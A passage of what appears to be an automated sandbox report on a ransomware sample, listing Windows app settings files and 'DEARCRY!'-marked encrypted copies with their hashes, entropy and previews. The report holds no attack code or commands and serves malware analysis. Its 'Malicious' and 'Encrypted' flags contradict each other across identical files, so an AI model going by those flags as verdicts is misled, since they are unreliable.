                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Messaging_8wekyb3d8bbwe\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8488
                                                              Entropy (8bit):7.979693340184766
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:A7A2AB91FF02FAF8AF13C87497E7F35C
                                                              SHA1:CA4ACE87863FA92F0C893FE7A3449C158A5FE912
                                                              SHA-256:47E3AF6F91402200CB64D83387E47323F058A671221DD6488E4CF4C493662D3F
                                                              SHA-512:C1D46C95AB8AC41CB3F0C38E3BEC7AB918F0C1E3D1044590C4CA6640778E7CFDEC24C9ED24D9ABBBB5412B3B70A3A626654DDCAF7390132A6EC6712616FBA67C
                                                              Malicious:false
                                                              Preview: DEARCRY!......Wr.u.A....p_9_yh...I....8j..s.......A.....`...7...O..{.V.+.4."lG-...V.`.X.7..).[U3f.....:=.9.e....}....."..R|.~Z6v..a.\CN..S.0....c\..8...1}....Lb..$~..s....)4..lH..dd...a.4....q.4../.-.t>w.'..LQ.[.Q.qY..._..a.{x..d.:r.@Cm.....-0...../.......... .......iS......PRT..i...Z...>.8"..t%}.&....0d.q..D.gKEr.]..'d.ru)i..O....4/.i'....]....'Y"S...''L.hX.h..t.?}.b0Z.p...Y1...j.^.'..M......W..!2....y\.....:.z..i.>..>W......Q.}"...8.Os....c@4.M.........b7eIZ<.#..i....0...O.6.. ...8K{..z.+....>.q@.....v.o..cm..eL.....m).E...@:..z..'.....<....z.8]...!K.D...x..-.+.@.a~.H.6....]*.g...}../...P..j-.0P3qr...S.DIQ.-...V.m38.X.......{J.`..#..l.Ho=.b."..$...b..X`.'..:(GZ..D.L..t..8.LS}4..9.........3i6.........._...[...;..n.#.z.KR@..t=.o...)..Y....WW{.<.C..f..q..`.>4...?...".B...+.Hf+..<.b.]...0...>..b...[..].'\...Z.m.E...9...L2U.Yc~Qa>j..(-e.....K....\,....0.?.....+..._..^1.A.d.|....7F.....J.8e_'^..c.*5.+.T.'T0.......N~z.W.=..n..a.-.eT.O.7u,.\tbU..
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Microsoft3DViewer_8wekyb3d8bbwe\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):16384
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:4534F12102D235344CF8DDA748F0CABF
                                                              SHA1:7DB67BACEEECB3A420BF37A7BECA4A45185F8F3C
                                                              SHA-256:1BD4DB450ABC8914C2FAC721CACE2704FF4C16028E6D07293154DAD289835694
                                                              SHA-512:7B4DACDBC6A2FCCDD3818EB41B7FA23EEEC51F333AF0E842D9185C7AE45EBA1623369B1CAA27B824CBA10C4CD6A2CDBF7F127AB2C6F7656EEDCE5FE25A0B84A2
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Microsoft3DViewer_8wekyb3d8bbwe\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):16976
                                                              Entropy (8bit):7.99015500583262
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:7A873CC411301184FDC682CAF47CBEB6
                                                              SHA1:790C4449644C6EBCBC00C0435B439EF57621CBFB
                                                              SHA-256:1BB7945DF0C08DB86BD38BEBD2693986E0349A14544C2C4105DED248058DDC0F
                                                              SHA-512:F08A3267AA011EA7F0B737875DE950E1FCE8959AF5EC3574AD285D8A4D08B7E49067B6FB61D3DB4A7FC746EFF2354FC93B17FE9747BC73DBC93E693AD6667B65
                                                              Malicious:true
                                                              Preview: DEARCRY!....A...u.E'.Po...?...FT..i......$.....;..f.....s.k."zCyP$pm...K9...V&.Htw.p..>.....|..*.(|..&.......t.d..BE..ri......(x..[...f.2.S.8..Y.Kh.y.*9.9...:.V.G.q'1...nb.G..@.../....F....D>%.d).....c-..'......,.:0....OW...m.)..Z..+(.L.....=.8Ti\..\m;.7..... ..........6@..1Z.]...+...(gy...|.azI...f....k...3.....1d.6h.-....M.I.'~..C........e.....xE.o. '}r2.....T...b.....E*.!..Do.W;.F.M@......o.....}..]...lH........;8E.$......(....._..z......5X...>[^..6.I..1O.... }..B......r.b.........7.Km.S..F.S.%{.lD.........w......b......?.W.....u..+..^...[...^.e.....5~...N.....b.3...55.d)N._.N.,.>.rA.9.s.. .w.........D+D......+Be.K.h.~.....=.n..E..4...].&.l.........v..o.I.q]./n=..(H....@.,Dz;....[.,...l.u.....I..F.A....p...C.T..h.S@u...{...h.j.F..!..a.(.a.....&.K..`8).2.n..JI...fU...4f....WX.yr.l.....\p...Z.k......R...w...c..V...o.G4BUgj,.c.5T..&.;,..C';0G.a.....-.'..jE........Nl..W..O..$F....G..8....qZ..K..V..g.u6\....e@....B.. ...s\...~.....d...]..{\
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdgeDevToolsClient_8wekyb3d8bbwe\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8192
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03F7A3E30CFA408A2C9466CB939D63CA
                                                              SHA1:35B6795CA20D6DC0AFF8C7C110C96CD1070B8C38
                                                              SHA-256:F8CA02C69621DD84CD1212EBFD7D6CDC9BA6AD658854F29567723531912D1A35
                                                              SHA-512:B79C43F6CC4BA20926F9D09BB7652ED652EBDDE37BB10417C9D9810A4BCF10152AE7D5095508D01EF69040F84EAB40CDED9B2C13F24C75E1EA6FD576CF1BE370
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdgeDevToolsClient_8wekyb3d8bbwe\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8488
                                                              Entropy (8bit):7.980035071622489
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:2307ADD80BAF1D3DFF77DF081FBD6A09
                                                              SHA1:C0A6D592CC681E291709CEF8752562CC27FF9EAD
                                                              SHA-256:8EF5AB0AA5D26D0E83F3DC61518445590CCA584D557B493B04395A9662A0260A
                                                              SHA-512:613DF4AF38E6FD3FD2D7B5170194F7C6F8F9693DC34AD9AD43799418771C9C923FAA1B249E4E5BD093600746DEA0BFE6D3A3186BF4004922DBAF5B2F93EE2452
                                                              Malicious:false
                                                              Preview: DEARCRY!....E].t.m%.....4c..L.&p..~.._..&(k..._#...d..I...y....?V..I..[.E......."...../6.fr..%.S........v.-.Fe..Q>.u?.&.f.1!'..qZ5.E...n8.y,.D...R.`.P...l..W..vn.:\T.x....^..%..c.1.6..W..........W.8!c....I.xtI...N..@.H.QT.xY..R.B...>.....3..L.R..q2.I.N........ .......}0......|L.p....$Q.....q..xo.4}-.{.z..n.1_)t.>.2{..8x.G2..........0.!.'.(.3bO|.},h5<zE&.....Tq.=.Jh.d....Ik.9T.s.....}....=T.0.>..v.....}`.jsS.......|qT..n..:.....M<..5.R..A3.5...<.).#%.T......W...w-..K.5..D..k.....b.k?....Yk$..*..B.c.....D.=-yi....q......X....|.i.\....G..T"Sh.tk.M.$Uy.aH.7.....K^..t~ti.J.U.Hk|>.+.e.]......H.....~.C.:gY.....\}.Mf..0..]F.ac5...W.n.;"...&..,.....P....B..O.....!p.N8.&..2..E...N....u.M/..`.........N..d....E..........I..u*.Frj.8+.u...F.....Lb.t...P..R.M/.2........R...z..|O...T.B.......ch....L.FG.7.Y0%.....}.|.I...G..I6..c.<.=._....T....k.H..V....}. ....4.....\.Af.J..B.ga=.y=\...4...${Me.p..?*d;..N..|.$.%m......U.T.x....N.).....yW...U...@5...
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\MicrosoftEdge\History\container.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):296
                                                              Entropy (8bit):7.148420808351914
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:3F07CC28EEDB458065C6D78B2DD0844E
                                                              SHA1:D62621734A1145419559FD8E2A9F4FD95B6C98C8
                                                              SHA-256:EFABB7487C3398FE1831C788080130381AC2DA27BB11E7CB60872D17E96A9DC5
                                                              SHA-512:C21C97D48C7DFF219EDE10948BA54606A10792ABC8A86BB9537F7A24CEEB8C410D16C4E109867A7D007F08686BDF6E524E0BE0F51CA9FA560AACE0714940A412
                                                              Malicious:false
                                                              Preview: DEARCRY!....[...&...!.,6K(.J.^.RAx..6....tJ.p.P...E_.Z..?j.Ym.....P..8=...d7.......x...h.l..d..Nus3X[.\.....<.....%....1.v.N.a>=..B.-H.[..Z...Z...G{..@|.....;^l{.w....Q2.....4... ...[.M............X..A.J..xE.:....r.....=y...x...R.....'.BP.q*..@..3f..U.V............S..e........@-.
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\MicrosoftEdge\User\Default\DNTException\container.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):296
                                                              Entropy (8bit):7.068995892796757
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:3A3A3E63D79956587208EE7688AFB600
                                                              SHA1:67DB94838C5D8DE960DF6314C210A9BA161B38F1
                                                              SHA-256:572B0BF139008F421C908C7C706A3FB5162FDFB00CE5A2BFFCB06B4A964A8FB9
                                                              SHA-512:36CA568F1F4169582A50FAD7A99BE8CFD2F3FE4DDBB5F17F51AD7B3CB99E649BA17CB46AEB5628DA6BE69EA4263D50A9B925D4DCD769E9B95199EA872F945238
                                                              Malicious:false
                                                              Preview: DEARCRY!......H..!.............+@..qtVD|.C.7w...`...{.@y..\KqF!......S.^...r.Q..!..1z..........4.....O.&..5>......".....u..P7..Q...v>z..=U`h...r..%.FV...."3...S..=..........j=.....F....D.^.+.. P.F.PO{@.v.Z.i,..H.@..(...6...c....w.81..za5......Za.U...F.x..-.............C....wv.0.ZD.
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8192
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03F7A3E30CFA408A2C9466CB939D63CA
                                                              SHA1:35B6795CA20D6DC0AFF8C7C110C96CD1070B8C38
                                                              SHA-256:F8CA02C69621DD84CD1212EBFD7D6CDC9BA6AD658854F29567723531912D1A35
                                                              SHA-512:B79C43F6CC4BA20926F9D09BB7652ED652EBDDE37BB10417C9D9810A4BCF10152AE7D5095508D01EF69040F84EAB40CDED9B2C13F24C75E1EA6FD576CF1BE370
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8488
                                                              Entropy (8bit):7.975764241397135
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:7C67417ACA167352F2400A62C1C58E7E
                                                              SHA1:19E0FC85FF20C5243406D1240091F57F9689DBDB
                                                              SHA-256:2EED478E1DEF58CE55AE6097E35AE2E165A14DB11A7262C3ED9751AF983D8080
                                                              SHA-512:D97CF2602E9384C7A2054893B831C2C3F0FB891D8B3EEB38A7385DA306584848FEEE81AF1B9CF5F1C25D05F71C6CC68609D92B199F1FD319C2538F8DC05F054C
                                                              Malicious:false
                                                              Preview: DEARCRY!......)B.....Q..z=.$............]..%#.oH.M5=.].c.^..S..B...[j....8.v..S.K.....*..Q..e..A..>.....`d....a.z.....c...KF....a.K0*....l.V...t.<.......p...A.a./G..t.c...B.....0b..HD.A....)D....o..~...b.!d..0R..c&.M..$...w.6..}......./../7<y...'...p6D...... ......,B#..5...PS....*:'.y...8......_..Y.!).K....!.....e._U.>..4H.1....Y.p`.|.....aJ.......r...0.d...".S.,...\T.OZ.5...S..:Je..N...?.|......_9..G..Gi..J....=..q..1l...._....".E....`.\.9.h.........Nfp.C.....s..C...jA...3.N.1.../..4.h...[....S....6.....e...q.$.a.C@u.8..}..S@...Pc.....a..1...Q..d.=|..U.......$..C<.O...:.q.I.q.).5._....rF^..#qG9......{......,...n.....?........N.....L..a?FF.o .$O...S..9eDp.U....=.a.,.....#........H:..R.B.V1.o...,R..$dC....p..H(..X./.9S.+:.c.S.IQ....,}o_..._6.oYf.\.../...ViVe..K..d.t....W.n.....vU2^.g.-..E..m:c..'.~..n?...A..o5..e.D.*K....D.....\....g.....z....t.r.W*N....z.....P....Q...c.n.A....@K.Y<8.....X,k.*._.U....j....kg..i..H..qH.....~`.......&#.,.
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):16384
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:4534F12102D235344CF8DDA748F0CABF
                                                              SHA1:7DB67BACEEECB3A420BF37A7BECA4A45185F8F3C
                                                              SHA-256:1BD4DB450ABC8914C2FAC721CACE2704FF4C16028E6D07293154DAD289835694
                                                              SHA-512:7B4DACDBC6A2FCCDD3818EB41B7FA23EEEC51F333AF0E842D9185C7AE45EBA1623369B1CAA27B824CBA10C4CD6A2CDBF7F127AB2C6F7656EEDCE5FE25A0B84A2
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):16976
                                                              Entropy (8bit):7.988489611773703
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:BEC8E32422ACA3B16AF9A362B7103529
                                                              SHA1:6B088F5FC6EC26098F8F55E2A183B838A5467260
                                                              SHA-256:51B5F684F87A6D9C44C3D2AA589BBAA5B06E9926762AE0D8D2D8DFFDFE2921CC
                                                              SHA-512:489C7D33AFFDBAD67EDE8B36346AE20A58D0535FF003D90DB367F14BEB531384B6AC7EFAC878BDF175564607CC36B248D0BAF0D8F0B455A876382F8D9697266E
                                                              Malicious:false
                                                              Preview: DEARCRY!....>Ml.....7M3.X.:J....q..2hQn.o%/....z.=...q.0f.3..'-.L...H.6....q...H.n.../......lM!.~I..3...vO...st...Ib!w...I^|~.F ...yDe.{..>.I..n-..b.`........b..Xd..f....}..@.+.l7{..........l..G...Y...&.5.-.H.....F/..03.P7{Z.Q.."%...my..?=...G......j..... ......%......y.......gD~..#...h...R.Q._1x.T.y`....K..n...5...20.;..`..o]$:z..r..&....,.8_.e...........|...d..z...r.w..H..&..F.D.3.~..!7.......}..-...D f.I.z.^.e.z.d.``..{7?R...dX<am...Um...f|....5.:..FH.. ..A.......#9....Z.K.Ua/.s#mP.bq...."3.A.o.Y......%6...Z..-.K..zUnyq(}5t....\.......T)d......a,*.).,..G...e..6~...e!5P[lU.=IF...K..U|.:.....A..,.......)..f..7*.W9A..._=PA..DB&yKc6.P.>.7.7-n..mc.@,.....D.).......J........Z...f.....E.. Z.......7.J...&y...1E.7..Q.d..z.......i..d.V{.....c.SF.....>..C~>R.w..>..7..):E. ........._.RY4.~..1....3..>..M5.<ndA`.P/.af.D.zSJ..[n...`....Q..\....<'NQV..^i..(....P7.......}...>.2..r.BW.4....}..2p.*..6..n]......*.T.u.Q...@..J:E.$-...!=..V=....g
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8192
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03F7A3E30CFA408A2C9466CB939D63CA
                                                              SHA1:35B6795CA20D6DC0AFF8C7C110C96CD1070B8C38
                                                              SHA-256:F8CA02C69621DD84CD1212EBFD7D6CDC9BA6AD658854F29567723531912D1A35
                                                              SHA-512:B79C43F6CC4BA20926F9D09BB7652ED652EBDDE37BB10417C9D9810A4BCF10152AE7D5095508D01EF69040F84EAB40CDED9B2C13F24C75E1EA6FD576CF1BE370
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8488
                                                              Entropy (8bit):7.9773774959731485
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:215238CC7E9EAAFC856D4D68171E1823
                                                              SHA1:CACF621D4053D40AFA18E00245A87C339BA1E303
                                                              SHA-256:FD8659E42C1D61AA7283386439E4F826667371F30EB3607E468D7227657AB12B
                                                              SHA-512:BAE260415A1F3571F3F83DA98A47158EF3A04EF554FCC7EB2612269CB1910998C0124E974715C9287688F8BA7AB92E77E28A4D4984839BBB8CE7839DA1E19D00
                                                              Malicious:false
